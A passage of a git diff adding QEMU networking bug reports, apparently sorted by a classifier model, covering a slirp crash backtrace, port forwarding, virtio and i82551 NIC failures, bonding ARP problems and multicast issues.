+7f15d2941000-7f15d2b40000 ---p 00016000 08:03 131218 /lib/libgcc_s.so.1 +7f15d2b40000-7f15d2b41000 rw-p 00015000 08:03 131218 /lib/libgcc_s.so.1 +7f15d2b41000-7f15d2b46000 r-xp 00000000 08:03 43471 /usr/lib/libXfixes.so.3.1.0 +7f15d2b46000-7f15d2d45000 ---p 00005000 08:03 43471 /usr/lib/libXfixes.so.3.1.0 +7f15d2d45000-7f15d2d46000 rw-p 00004000 08:03 43471 /usr/lib/libXfixes.so.3.1.0 +7f15d2d46000-7f15d2d4f000 r-xp 00000000 08:03 45831 /usr/lib/libXcursor.so.1.0.2 +7f15d2d4f000-7f15d2f4f000 ---p 00009000 08:03 45831 /usr/lib/libXcursor.so.1.0.2 +7f15d2f4f000-7f15d2f50000 rw-p 00009000 08:03 45831 /usr/lib/libXcursor.so.1.0.2 +7f15d2f50000-7f15d2f9d000 rw-p 00000000 00:00 0 +7f15d3025000-7f15d319a000 r--p 00000000 08:03 298138 /usr/lib/locale/locale-archive +7f15d319a000-7f15d31a2000 r-xp 00000000 08:03 41266 /usr/lib/libXrandr.so.2.2.0 +7f15d31a2000-7f15d33a1000 ---p 00008000 08:03 41266 /usr/lib/libXrandr.so.2.2.0 +7f15d33a1000-7f15d33a2000 rw-p 00007000 08:03 41266 /usr/lib/libXrandr.so.2.2.0 +7f15d33a2000-7f15d33ab000 r-xp 00000000 08:03 74608 /usr/lib/libXrender.so.1.3.0 +7f15d33ab000-7f15d35ab000 ---p 00009000 08:03 74608 /usr/lib/libXrender.so.1.3.0 +7f15d35ab000-7f15d35ac000 rw-p 00009000 08:03 74608 /usr/lib/libXrender.so.1.3.0 +7f15d35ac000-7f15d35bd000 r-xp 00000000 08:03 29479 /usr/lib/libXext.so.6.4.0 +7f15d35bd000-7f15d37bd000 ---p 00011000 08:03 29479 /usr/lib/libXext.so.6.4.0 +7f15d37bd000-7f15d37be000 rw-p 00011000 08:03 29479 /usr/lib/libXext.so.6.4.0 +7f15d37d2000-7f15d37d3000 ---p 00000000 00:00 0 +7f15d37d3000-7f15d3c36000 rw-p 00000000 00:00 0 +7f15d3c49000-7f15d3d63000 rw-s 00000000 00:04 2195492 /SYSV00000000 (deleted) +7f15d3d63000-7f15d3d64000 rw-p 00000000 00:00 0 +7f15d3d64000-7f15d4564000 rw-p 00000000 00:00 0 +7f15d4564000-7f15d4566000 rw-p 00000000 00:00 0 +7f15d4566000-7f15dc566000 rw-p 00000000 00:00 0 +7f15dc566000-7f15dc567000 rw-p 00000000 00:00 0 +7f15dc567000-7f15dc568000 ---p 00000000 00:00 0 +7f15dc568000-7f15de76a000 rw-p 00000000 00:00 0 +7f15de76a000-7f15de76f000 r-xp 00000000 08:03 47085 /usr/lib/libXdmcp.so.6.0.0 +7f15de76f000-7f15de96e000 ---p 00005000 08:03 47085 /usr/lib/libXdmcp.so.6.0.0 +7f15de96e000-7f15de96f000 rw-p 00004000 08:03 47085 /usr/lib/libXdmcp.so.6.0.0 +7f15de96f000-7f15de971000 r-xp 00000000 08:03 68458 /usr/lib/libXau.so.6.0.0 +7f15de971000-7f15deb71000 ---p 00002000 08:03 68458 /usr/lib/libXau.so.6.0.0 +7f15deb71000-7f15deb72000 rw-p 00002000 08:03 68458 /usr/lib/libXau.so.6.0.0 +7f15deb72000-7f15deb91000 r-xp 00000000 08:03 134345 /lib/libx86.so.1 +7f15deb91000-7f15ded91000 ---p 0001f000 08:03 134345 /lib/libx86.so.1 +7f15ded91000-7f15ded93000 rw-p 0001f000 08:03 134345 /lib/libx86.so.1 +7f15ded93000-7f15ded94000 rw-p 00000000 00:00 0 +7f15ded94000-7f15dedb0000 r-xp 00000000 08:03 13392 /usr/lib/libxcb.so.1.1.0 +7f15dedb0000-7f15defaf000 ---p 0001c000 08:03 13392 /usr/lib/libxcb.so.1.1.0 +7f15defaf000-7f15defb0000 rw-p 0001b000 08:03 13392 /usr/lib/libxcb.so.1.1.0 +7f15defb0000-7f15deffd000 r-xp 00000000 08:03 2979 /usr/lib/libvga.so.1.4.3 +7f15deffd000-7f15df1fc000 ---p 0004d000 08:03 2979 /usr/lib/libvga.so.1.4.3 +7f15df1fc000-7f15df205000 rw-p 0004c000 08:03 2979 /usr/lib/libvga.so.1.4.3 +7f15df205000-7f15df20e000 rw-p 00000000 00:00 0 +7f15df20e000-7f15df224000 r-xp 00000000 08:03 12136 /usr/lib/libdirect-1.2.so.9.0.1 +7f15df224000-7f15df423000 ---p 00016000 08:03 12136 /usr/lib/libdirect-1.2.so.9.0.1 +7f15df423000-7f15df425000 rw-p 00015000 08:03 12136 /usr/lib/libdirect-1.2.so.9.0.1 +7f15df425000-7f15df42e000 r-xp 00000000 08:03 11944 /usr/lib/libfusion-1.2.so.9.0.1 +7f15df42e000-7f15df62e000 ---p 00009000 08:03 11944 /usr/lib/libfusion-1.2.so.9.0.1 +7f15df62e000-7f15df62f000 rw-p 00009000 08:03 11944 /usr/lib/libfusion-1.2.so.9.0.1 +7f15df62f000-7f15df6ae000 r-xp 00000000 08:03 11998 /usr/lib/libdirectfb-1.2.so.9.0.1 +7f15df6ae000-7f15df8ad000 ---p 0007f000 08:03 11998 /usr/lib/libdirectfb-1.2.so.9.0.1 +7f15df8ad000-7f15df8b1000 rw-p 0007e000 08:03 11998 /usr/lib/libdirectfb-1.2.so.9.0.1 +7f15df8b1000-7f15df98f000 r-xp 00000000 08:03 92358 /usr/lib/libasound.so.2.0.0 +7f15df98f000-7f15dfb8e000 ---p 000de000 08:03 92358 /usr/lib/libasound.so.2.0.0 +7f15dfb8e000-7f15dfb96000 rw-p 000dd000 08:03 92358 /usr/lib/libasound.so.2.0.0 +7f15dfb96000-7f15dfb98000 r-xp 00000000 08:03 163705 /lib/libdl-2.11.2.so +7f15dfb98000-7f15dfd98000 ---p 00002000 08:03 163705 /lib/libdl-2.11.2.so + +GDB output: + +Thread 3 (Thread 3756): +#0 __lll_lock_wait () at ../nptl/sysdeps/unix/sysv/linux/x86_64/lowlevellock.S:136 +#1 0x00007f15e182a0e9 in _L_lock_953 () from /lib/libpthread.so.0 +#2 0x00007f15e1829f0b in __pthread_mutex_lock (mutex=0x10690c0) at pthread_mutex_lock.c:61 +#3 0x00000000004914f9 in qemu_mutex_lock (mutex=0x10690c0) at qemu-thread.c:50 +#4 0x0000000000408c4c in qemu_mutex_lock_iothread () at /home/njh/src/qemu/cpus.c:737 +#5 0x000000000041af8e in kvm_cpu_exec (env=0x23e3c40) at /home/njh/src/qemu/kvm-all.c:878 +#6 0x00000000004a7885 in cpu_x86_exec (env1=<value optimized out>) at /home/njh/src/qemu/cpu-exec.c:338 +#7 0x00000000004086e8 in qemu_cpu_exec (env=0x23e3c40) at /home/njh/src/qemu/cpus.c:896 +#8 0x00000000004099e4 in kvm_cpu_thread_fn (arg=<value optimized out>) at /home/njh/src/qemu/cpus.c:613 +#9 0x00007f15e18278ba in start_thread (arg=<value optimized out>) at pthread_create.c:300 +#10 0x00007f15dfe6902d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:112 +#11 0x0000000000000000 in ?? () + +Thread 2 (Thread 3757): +#0 pthread_cond_timedwait@@GLIBC_2.3.2 () at ../nptl/sysdeps/unix/sysv/linux/x86_64/pthread_cond_timedwait.S:211 +#1 0x000000000042ca0b in cond_timedwait (unused=<value optimized out>) at posix-aio-compat.c:104 +#2 aio_thread (unused=<value optimized out>) at posix-aio-compat.c:325 +#3 0x00007f15e18278ba in start_thread (arg=<value optimized out>) at pthread_create.c:300 +#4 0x00007f15dfe6902d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:112 +#5 0x0000000000000000 in ?? () +Current language: auto +The current source language is "auto; currently asm". + +Thread 1 (Thread 3755): +#0 0x00007f15dfdcc165 in *__GI_raise (sig=<value optimized out>) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64 +#1 0x00007f15dfdcef70 in *__GI_abort () at abort.c:92 +#2 0x00007f15dfe0227b in __libc_message (do_abort=<value optimized out>, fmt=<value optimized out>) at ../sysdeps/unix/sysv/linux/libc_fatal.c:189 +#3 0x00007f15dfe0bad6 in malloc_printerr (action=3, str=0x7f15dfebfb75 "free(): invalid pointer", ptr=<value optimized out>) at malloc.c:6267 +#4 0x0000000000492ff3 in if_start (slirp=0x23aa400) at slirp/if.c:205 +#5 0x0000000000494082 in ip_output (so=<value optimized out>, m0=0x25d3ff0) at slirp/ip_output.c:160 +#6 0x000000000049b38e in udp_output (so=0xeab, m=0xeab, addr=<value optimized out>) at slirp/udp.c:299 +#7 0x000000000049710a in sorecvfrom (so=0x2529380) at slirp/socket.c:527 +#8 0x00000000004947c7 in slirp_select_poll (readfds=0x7fff99a79390, writefds=<value optimized out>, xfds=0x7fff99a79290, select_error=<value optimized out>) + at slirp/slirp.c:542 +#9 0x00000000005181cc in main_loop_wait (nonblocking=<value optimized out>) at /home/njh/src/qemu/vl.c:1266 +#10 0x0000000000518c67 in main_loop (argc=<value optimized out>, argv=<value optimized out>, envp=<value optimized out>) at /home/njh/src/qemu/vl.c:1309 +#11 main (argc=<value optimized out>, argv=<value optimized out>, envp=<value optimized out>) at /home/njh/src/qemu/vl.c:2999 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/676934 b/results/classifier/gemma3:12b/network/676934 new file mode 100644 index 000000000..8d2c8458a --- /dev/null +++ b/results/classifier/gemma3:12b/network/676934 @@ -0,0 +1,9 @@ + +Ability to use -net socket with unix sockets + +It would be a nice feature (simplifying access control for example) to be able to do something like: + +qemu -net socket,listen=unix:/tmp/qemunet +qemu -net socket,connect=unix:/tmp/qemunet + +For now one has to use TCP connections even for guests running on the same host, which involves setting up iptables to restrict access. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/689 b/results/classifier/gemma3:12b/network/689 new file mode 100644 index 000000000..f3b431b14 --- /dev/null +++ b/results/classifier/gemma3:12b/network/689 @@ -0,0 +1,34 @@ + +Unable To Open UDP Port +Description of problem: +Unable to forward UDP port +Steps to reproduce: +Used **..\qemu-system-x86_64.exe" -smp 4 -accel whpx -hda ".\ubuntu01.qcow2" -m 8G -vga std -net nic -net user,hostfwd=tcp::80-:80,hostfwd=tcp::443-:443,hostfwd=tcp::10000-:10000,hostfwd=udp::10000-:10000**__ to run qemu. +Additional information: +I want to use 10000(UDP) port at my server i used upper command to run my Qemu server as i was using it for TCP ports. Here are the logs: +<br/> +**AT Guest(UBUNTU):**<br/> +10000/tcp ALLOW Anywhere<br/> +10000/udp ALLOW Anywhere<br/><br/> + +**AT Host(Windows):**<br/> +_**FOR TCP 10000 (IT'S WORKING)**_<br/> + Starting portqry.exe -n 127.0.0.1 -e 10000 -p TCP ...<br/> +Querying target system called:<br/> + 127.0.0.1<br/> +Attempting to resolve IP address to a name...<br/> +IP address resolved to DESKTOP-Node001<br/> +querying...<br/> +TCP port 10000 (unknown service): LISTENING<br/> +portqry.exe -n 127.0.0.1 -e 10000 -p TCP exits with return code 0x00000000.<br/><br/> + + +_**FOR UDP 10000 (IT'S NOT WORKING)**_<br/> +Starting portqry.exe -n 127.0.0.1 -e 10000 -p UDP ...<br/> +Querying target system called:<br/> + 127.0.0.1<br/> +Attempting to resolve IP address to a name...<br/> +IP address resolved to DESKTOP-Node001<br/> +querying...<br/> +UDP port 10000 (unknown service): LISTENING or FILTERED<br/> +portqry.exe -n 127.0.0.1 -e 10000 -p UDP exits with return code 0x00000002.<br/> diff --git a/results/classifier/gemma3:12b/network/691 b/results/classifier/gemma3:12b/network/691 new file mode 100644 index 000000000..923a37238 --- /dev/null +++ b/results/classifier/gemma3:12b/network/691 @@ -0,0 +1,7 @@ + +`-nic model=help` on qemu-system-riscv64 doesn't output supported models +Description of problem: +`-nic model=help` doesn't list out the supported NIC models and instead launches QEMU with warnings. + +Steps to reproduce: +1. run `qemu-system-riscv64 -machine virt -nic model=help` diff --git a/results/classifier/gemma3:12b/network/722 b/results/classifier/gemma3:12b/network/722 new file mode 100644 index 000000000..e24d215fa --- /dev/null +++ b/results/classifier/gemma3:12b/network/722 @@ -0,0 +1,13 @@ + +Qemu slirp connectivity lost when host enters vpn(openvpn or wireguard) +Description of problem: +No connectivity after host enters a vpn, tested with valid openvpn +and wireguard. +Steps to reproduce: +1. Open the vpn. +2. Open a virtual machine using slirp +3. Ping 8.8.8.8(if you can...) +Additional information: +The bug is independent on the order of execution, if you start the vm +to see it works, and run the vpn script, the connectivity in the vm +will drop, and come back when the tunneled connection is over. diff --git a/results/classifier/gemma3:12b/network/741 b/results/classifier/gemma3:12b/network/741 new file mode 100644 index 000000000..c488cd5a1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/741 @@ -0,0 +1,2 @@ + +Document "net/net.h" API diff --git a/results/classifier/gemma3:12b/network/761469 b/results/classifier/gemma3:12b/network/761469 new file mode 100644 index 000000000..8abf063c6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/761469 @@ -0,0 +1,12 @@ + +multicast VPN breaks IPv6 Duplicate Address Detection + +The multicast VPN facility in Qemu uses Multicast Loopback to make sure that other Qemu processes on the Host server receive the transmission. The side effect of this is that the process sending the packet also gets the packet back on its receive channel and currently this is not filtered but passed directly to the Virtual Machine. + +You can see this effect by running tcpdump in the virtual machine. Every packet sent appears to be duplicated. + +For IPv4 it doesn't appear to cause much of a problem, however with IPv6 the duplicate neighbor solicitation packet is precisely what the system uses to detect duplicate addresses. So IPv6 addresses fail to establish. + +If you run 'ip addr' on a virtual Linux machine with IPv6 enabled you will see 'dadfailed' next to the link local address. 'ping6' will then not work. + +Checked against 0.12.1. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/761471 b/results/classifier/gemma3:12b/network/761471 new file mode 100644 index 000000000..aa0e11d01 --- /dev/null +++ b/results/classifier/gemma3:12b/network/761471 @@ -0,0 +1,6 @@ + +Multicast VPN TTL hardcoded at 1 + +The multicast VPN opens sockets with the default TTL of 1 and there doesn't appear to be an option anywhere that will allow you to increase that. + +This limits the usability of the VPN to the local network where the host server lives. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/762 b/results/classifier/gemma3:12b/network/762 new file mode 100644 index 000000000..01429c364 --- /dev/null +++ b/results/classifier/gemma3:12b/network/762 @@ -0,0 +1,2 @@ + +Assertion failure in iov_from_buf_full `offset == 0' failed through virtio-net diff --git a/results/classifier/gemma3:12b/network/772275 b/results/classifier/gemma3:12b/network/772275 new file mode 100644 index 000000000..104674228 --- /dev/null +++ b/results/classifier/gemma3:12b/network/772275 @@ -0,0 +1,29 @@ + +qemu-kvm-0.14.0 + kernel 2.6.35 : win2008r2 virtio nic hanging + +Hi, + +I'm a proxmox distrib user, + +I have network error with virtio nic cards in win2008r2sp1 server, only with qemu 0.14 and 2.6.35 kernel combination. + +after some network transferts (can be 2mb or 500mb), nic doesn't respond anymore. only way is to reboot. + +e1000 driver working fine. + +revert back to qemu 0.13+ 2.6.35 kernel works fine or qemu 0.14 + 2.6.32 kernel is working fine too. + +i'm using virtio nic drivers 1.1.16 from http://alt.fedoraproject.org/pub/alt/virtio-win/latest/images/bin/ + +i had also tried the virtio-win-prewhql-0.1-7-nic.tar.gz from https://bugzilla.redhat.com/show_bug.cgi?id=630830#c26 + +i'm not the only proxmox user ,more users reports here : + +http://forum.proxmox.com/threads/6194-Troubles-with-latest-virtio-drivers-for-Windows-and-latest-PVE-1.8 + +i've also see that a slackware user with winxp guest has the same problem + +http://www.spinics.net/lists/kvm/msg51089.html + + +I can help to debug if it's possible to have logs somewhere ..... \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/774 b/results/classifier/gemma3:12b/network/774 new file mode 100644 index 000000000..6461ad606 --- /dev/null +++ b/results/classifier/gemma3:12b/network/774 @@ -0,0 +1,16 @@ + +Win(PE) NIC issue with pc-q35-6.1 +Description of problem: +When booting WinPE (via PXE via WDS) on a `pc-q35-6.1` machine, the NIC will not initialize. + +What I got with `pnputil.exe /enum-devices /class net` is `Device has problem: 56 0x38 (CM_PROB_NEED_CLASS_CONFIG)` See: [CM_PROB_NEED_CLASS_CONFIG](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/cm-prob-need-class-config) + +I'm using virt manager and I've tried both `e1000e` and `virtio` network adapters (virtio with drivers injected into the image of course). Both yield the aforementioned error and `ipconfig` remains empty. This is an obscure problem - I haven't checked if a normal windows install behaves the same way, but it might be unique to winpe. + +However, with `pc-q35-5.2`, the NIC initializes without a problem. +Steps to reproduce: +1. Create `pc-q35-6.1` based vm in virt manager with default settings (network bridged to network bridge) +2. PXE boot Windows Setup +3. Observe hang (observe errors with console `SHIFT+F10`) +Additional information: + diff --git a/results/classifier/gemma3:12b/network/785668 b/results/classifier/gemma3:12b/network/785668 new file mode 100644 index 000000000..b9d39d213 --- /dev/null +++ b/results/classifier/gemma3:12b/network/785668 @@ -0,0 +1,167 @@ + +bonding inside a bridge does not update ARP correctly when bridged net accessed from within a VM + +Binary package hint: qemu-kvm + +Description: Ubuntu 10.4.2 +Release: 10.04 + + +When setting a KVM host with a bond0 interface made of eth0 and eth1 and using this bond0 interface for a bridge to KVM VMs, the ARP tables do not get updated correctly and + +Reproducible: 100%, with any of the load balancing mode + +How to reproduce the problem + +- Prerequisites: +1 One KVM system with 10.04.02 server, configured as a virtual host is needed. The following /etc/network/interfaces was used for the test : + +# grep -v ^# /etc/network/interfaces +auto lo +iface lo inet loopback + + +auto bond0 +iface bond0 inet manual + post-up ifconfig $IFACE up + pre-down ifconfig $IFACE down + bond-slaves none + bond_mode balance-rr + bond-downdelay 250 + bond-updelay 120 +auto eth0 +allow-bond0 eth0 +iface eth0 inet manual + bond-master bond0 +auto eth1 +allow-bond0 eth1 +iface eth1 inet manual + bond-master bond0 + +auto br0 +iface br0 inet dhcp + # dns-* options are implemented by the resolvconf package, if installed + bridge-ports bond0 + bridge-stp off + bridge-fd 9 + bridge-hello 2 + bridge-maxage 12 + bridge_max_wait 0 + +One VM running Maverick 10.10 server, standard installation, using the following /etc/network/interfaces file : + +grep -v ^# /etc/network/interfaces + +auto lo +iface lo inet loopback + +auto eth0 +iface eth0 inet static + address 10.153.107.92 + netmask 255.255.255.0 + network 10.153.107.0 + broadcast 10.153.107.255 + +-------------- +On a remote bridged network system : +$ arp -an +? (10.153.107.188) à 00:1c:c4:6a:c0:dc [ether] sur tap0 +? (16.1.1.1) à 00:17:33:e9:ee:3c [ether] sur wlan0 +? (10.153.107.52) à 00:1c:c4:6a:c0:de [ether] sur tap0 + +On KVMhost +$ arp -an +? (10.153.107.80) at ee:99:73:68:f0:a5 [ether] on br0 + +On VM +$ arp -an +? (10.153.107.61) at <incomplete> on eth0 + +1) Test #1 : ping from VM (10.153.107.92) to remote bridged network system (10.153.107.80) : + +- On remote bridged network system : +caribou@marvin:~$ arp -an +? (10.153.107.188) à 00:1c:c4:6a:c0:dc [ether] sur tap0 +? (16.1.1.1) à 00:17:33:e9:ee:3c [ether] sur wlan0 +? (10.153.107.52) à 00:1c:c4:6a:c0:de [ether] sur tap0 + +- On KVMhost +ubuntu@VMhost:~$ arp -an +? (10.153.107.80) at ee:99:73:68:f0:a5 [ether] on br0 + +- On VM +ubuntu@vm1:~$ ping 10.153.107.80 +PING 10.153.107.80 (10.153.107.80) 56(84) bytes of data. +From 10.153.107.92 icmp_seq=1 Destination Host Unreachable +From 10.153.107.92 icmp_seq=2 Destination Host Unreachable +From 10.153.107.92 icmp_seq=3 Destination Host Unreachable +^C +--- 10.153.107.80 ping statistics --- +4 packets transmitted, 0 received, +3 errors, 100% packet loss, time 3010ms +pipe 3 +ubuntu@vm1:~$ arp -an +? (10.153.107.61) at <incomplete> on eth0 +? (10.153.107.80) at <incomplete> on eth0 + +2) Test #2 : ping from remote bridged network system (10.153.107.80) to VM (10.153.107.92) : + +- On remote bridged network system : +$ ping 10.153.107.92 +PING 10.153.107.92 (10.153.107.92) 56(84) bytes of data. +64 bytes from 10.153.107.92: icmp_req=1 ttl=64 time=327 ms +64 bytes from 10.153.107.92: icmp_req=2 ttl=64 time=158 ms +64 bytes from 10.153.107.92: icmp_req=3 ttl=64 time=157 ms +^C +--- 10.153.107.92 ping statistics --- +3 packets transmitted, 3 received, 0% packet loss, time 2003ms +rtt min/avg/max/mdev = 157.289/214.500/327.396/79.831 ms +caribou@marvin:~$ arp -an +? (10.153.107.188) à 00:1c:c4:6a:c0:dc [ether] sur tap0 +? (16.1.1.1) à 00:17:33:e9:ee:3c [ether] sur wlan0 +? (10.153.107.52) à 00:1c:c4:6a:c0:de [ether] sur tap0 +? (10.153.107.92) à 52:54:00:8c:e0:3c [ether] sur tap0 + +- On KVMhost +$ arp -an +? (10.153.107.80) at ee:99:73:68:f0:a5 [ether] on br0 + +- On VM +arp -an +? (10.153.107.61) at <incomplete> on eth0 +? (10.153.107.80) at ee:99:73:68:f0:a5 [ether] on eth0 + + +3) Test #3 : New ping from VM (10.153.107.92) to remote bridged network system (10.153.107.80) : +- On remote bridged network system : +$ arp -an +? (10.153.107.188) à 00:1c:c4:6a:c0:dc [ether] sur tap0 +? (16.1.1.1) à 00:17:33:e9:ee:3c [ether] sur wlan0 +? (10.153.107.52) à 00:1c:c4:6a:c0:de [ether] sur tap0 +? (10.153.107.92) à 52:54:00:8c:e0:3c [ether] sur tap0 + +- On KVMhost +ubuntu@VMhost:~$ arp -an +? (10.153.107.80) at ee:99:73:68:f0:a5 [ether] on br0 + +- On VM +ubuntu@vm1:~$ ping 10.153.107.80 +PING 10.153.107.80 (10.153.107.80) 56(84) bytes of data. +64 bytes from 10.153.107.80: icmp_req=1 ttl=64 time=154 ms +64 bytes from 10.153.107.80: icmp_req=2 ttl=64 time=170 ms +64 bytes from 10.153.107.80: icmp_req=3 ttl=64 time=154 ms +^C +--- 10.153.107.80 ping statistics --- +3 packets transmitted, 3 received, 0% packet loss, time 2003ms +rtt min/avg/max/mdev = 154.072/159.465/170.058/7.504 ms + +tcpdump traces are available for those tests. Test system is available upon request. + +Workaround: + +Use the bonded device in "active-backup" mode + +ProblemType: Bug +DistroRelease: Ubuntu 10.04.02 +Package: qemu-kvm-0.12.3+noroms-0ubuntu9.6 +Uname: Linux 2.6.35-25-serverr x86_64 +Architecture: amd64 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/808588 b/results/classifier/gemma3:12b/network/808588 new file mode 100644 index 000000000..dfdfe47c5 --- /dev/null +++ b/results/classifier/gemma3:12b/network/808588 @@ -0,0 +1,50 @@ + +Netperf tests cause i82551 network down + +1. boot up a guest with 82551 nic +# qemu-kvm -net nic,model=i82551 ... +2. launch netperf server in the guest +3.on the host +for b in 32 64 128 256 512 1024 1460 2048 4096 8192 9000 16384 32768 65495 65507 +do ./netperf -t TCP_STREAM -f m -H <guest ip> -P 0 -l 10 -- -m $b +done + +for b in 32 64 128 256 512 1024 1460 2048 4096 8192 9000 16384 32768 65495 65507 +do ./netperf -t UDP_STREAM -f m -H <guest ip> -P 0 -l 10 -- -m $b +done + + +Result: +Guest network becomes down + + +netperf client output: +./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 32 + 87380 16384 32 10.97 19.61 +./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 64 + 87380 16384 64 11.55 79.68 +./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 128 + 87380 16384 128 10.16 14.20 +./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 256 + 87380 16384 256 11.17 12.85 +./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 512 + 87380 16384 512 10.01 16.38 +./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 1024 +Interrupted system call +netperf: remote error 4./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 1460 +establish control: are you sure there is a netserver listening on 10.66.9.39 at port 12865? +establish_control could not establish the control connection from 0.0.0.0 port 0 address family AF_UNSPEC to 10.66.9.39 port 12865 address family AF_UNSPEC +./netperf -t TCP_STREAM -f m -H 10.66.9.39 -P 0 -l 10 -- -m 2048 + + +qemu debug message: +.... +EE100 nic_receive command 0x0000, link 0x3d3e6822, addr 0xffffffff, size 1518 +EE100 nic_can_receive 0x29a0180 +EE100 nic_receive 0x29a0180 received broadcast, len=60 +EE100 nic_receive Receive buffer (0 bytes) too small for data (60 bytes); data truncated +EE100 nic_receive command 0x8000, link 0x37b32022, addr 0xffffffff, size 0 + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +EE100 nic_receive receive: Running out of frames + ^^^^^^^^^^^^^^^^^^^^^^^^ +EE100 eepro100_write1 addr=Command/Status+1 val=0x20 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/812 b/results/classifier/gemma3:12b/network/812 new file mode 100644 index 000000000..754dd1b9f --- /dev/null +++ b/results/classifier/gemma3:12b/network/812 @@ -0,0 +1,125 @@ + +Multicast packets (mDNS) are not sent out of VM +Description of problem: +The app is sending multicast packets (mDNS), but they are not sent out of VM. +Here is the configuration of the network: `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::50051-:50051,hostfwd=tcp::50050-:50050` +Steps to reproduce: +1. Install arduino-cli from https://github.com/arduino/arduino-cli/releases (eg. 0.20.2) +2. `arduino-cli config init` +3. `vi ~/.arduino15/arduino-cli.yaml` +4. edit it to have it as follows: +``` +board_manager: + additional_urls: ["http://arduino.esp8266.com/stable/package_esp8266com_index.json"] +daemon: + port: "50051" +directories: + data: /root/app/data + downloads: /root/app/downloads + user: /root/app/user +library: + enable_unsafe_install: false +logging: + file: "" + format: text + level: info +metrics: + addr: :9090 + enabled: false +output: + no_color: false +sketch: + always_export_binaries: false +updater: + enable_notification: true +``` + +5. `arduino-cli core update-index` +6. `arduino-cli core install esp8266:esp8266` +7. `arduino-cli board list -v` + +This will give an output similar to: +``` +INFO[0000] Using config file: /root/.arduino15/arduino-cli.yaml +INFO[0000] arduino-cli.x86_64 version git-snapshot +INFO[0000] Checking if CLI is Bundled into the IDE +INFO[0000] Adding libraries dir dir=/root/app/user/libraries location=user +INFO[0000] Checking signature index=/root/app/data/package_index.json signatureFile=/root/app/data/package_index.json.sig = +INFO[0000] Checking signature error="opening signature file: open /root/app/data/package_esp8266com_index.json.sig: no such file or d= +INFO[0000] Loading hardware from: /root/app/data/packages +INFO[0000] Loading package builtin from: /root/app/data/packages/builtin +INFO[0000] Checking existence of 'tools' path: /root/app/data/packages/builtin/tools +INFO[0000] Loading tools from dir: /root/app/data/packages/builtin/tools +INFO[0000] Loaded tool tool="builtin:ctags@5.8-arduino11" +INFO[0000] Loaded tool tool="builtin:mdns-discovery@1.0.2" +INFO[0000] Loaded tool tool="builtin:serial-discovery@1.3.1" +INFO[0000] Loaded tool tool="builtin:serial-monitor@0.9.1" +INFO[0000] Loading package esp8266 from: /root/app/data/packages/esp8266/hardware +INFO[0000] Checking signature error="opening signature file: open /root/app/data/packages/esp8266/hardware/esp8266/3.0.2/installed.js= +INFO[0000] Adding monitor tool protocol=serial tool="builtin:serial-monitor" +INFO[0000] Loaded platform platform="esp8266:esp8266@3.0.2" +INFO[0000] Checking existence of 'tools' path: /root/app/data/packages/esp8266/tools +INFO[0000] Loading tools from dir: /root/app/data/packages/esp8266/tools +INFO[0000] Loaded tool tool="esp8266:mklittlefs@3.0.4-gcc10.3-1757bed" +INFO[0000] Loaded tool tool="esp8266:mkspiffs@3.0.4-gcc10.3-1757bed" +INFO[0000] Loaded tool tool="esp8266:python3@3.7.2-post1" +INFO[0000] Loaded tool tool="esp8266:xtensa-lx106-elf-gcc@3.0.4-gcc10.3-1757bed" +INFO[0000] Adding libraries dir dir=/root/app/data/packages/esp8266/hardware/esp8266/3.0.2/libraries location=platform +INFO[0007] Executing `arduino-cli board list` +INFO[0007] starting discovery builtin:serial-discovery process +INFO[0007] started discovery builtin:serial-discovery process +INFO[0007] sending command HELLO 1 "arduino-cli git-snapshot" to discovery builtin:serial-discovery +INFO[0007] starting discovery builtin:mdns-discovery process +INFO[0007] started discovery builtin:mdns-discovery process +INFO[0007] sending command HELLO 1 "arduino-cli git-snapshot" to discovery builtin:mdns-discovery +INFO[0007] from discovery builtin:serial-discovery received message type: hello, message: OK, protocol version: 1 +INFO[0007] from discovery builtin:mdns-discovery received message type: hello, message: OK, protocol version: 1 +INFO[0007] sending command START to discovery builtin:serial-discovery +INFO[0007] sending command START to discovery builtin:mdns-discovery +INFO[0007] from discovery builtin:mdns-discovery received message type: start, message: OK +INFO[0007] from discovery builtin:serial-discovery received message type: start, message: OK +INFO[0008] sending command LIST to discovery builtin:serial-discovery +INFO[0008] sending command LIST to discovery builtin:mdns-discovery +INFO[0008] from discovery builtin:mdns-discovery received message type: list +INFO[0008] from discovery builtin:serial-discovery received message type: list, ports: [/dev/ttyS0] +INFO[0008] sending command STOP to discovery builtin:serial-discovery +INFO[0008] sending command STOP to discovery builtin:mdns-discovery +INFO[0008] from discovery builtin:mdns-discovery received message type: stop, message: OK +INFO[0008] from discovery builtin:serial-discovery received message type: stop, message: OK +Port Protocol Type Board Name FQBN Core +/dev/ttyS0 serial Unknown +``` + +Note `builtin:mdns-discovery` discovery started. It is expected to send the packets as follows (the screenshot from the host with Wireshark): + + + +The screenshot is taken if running the same app (but for macOS) from the host and **i can't see the packets sent if executed from the QEMU guest os**. +I believe i either configured it the wrong way (`-netdev user,id=net0,...`) or it's a QEMU bug. +Additional information: +I've tested on macOS host with qemu 6.0.0 and on Linux (Android) host with qemu 6.1.0 and both were not working. + +the network interface seems to be configured for multicasting: +``` +# ifconfig +eth0 Link encap:Ethernet HWaddr 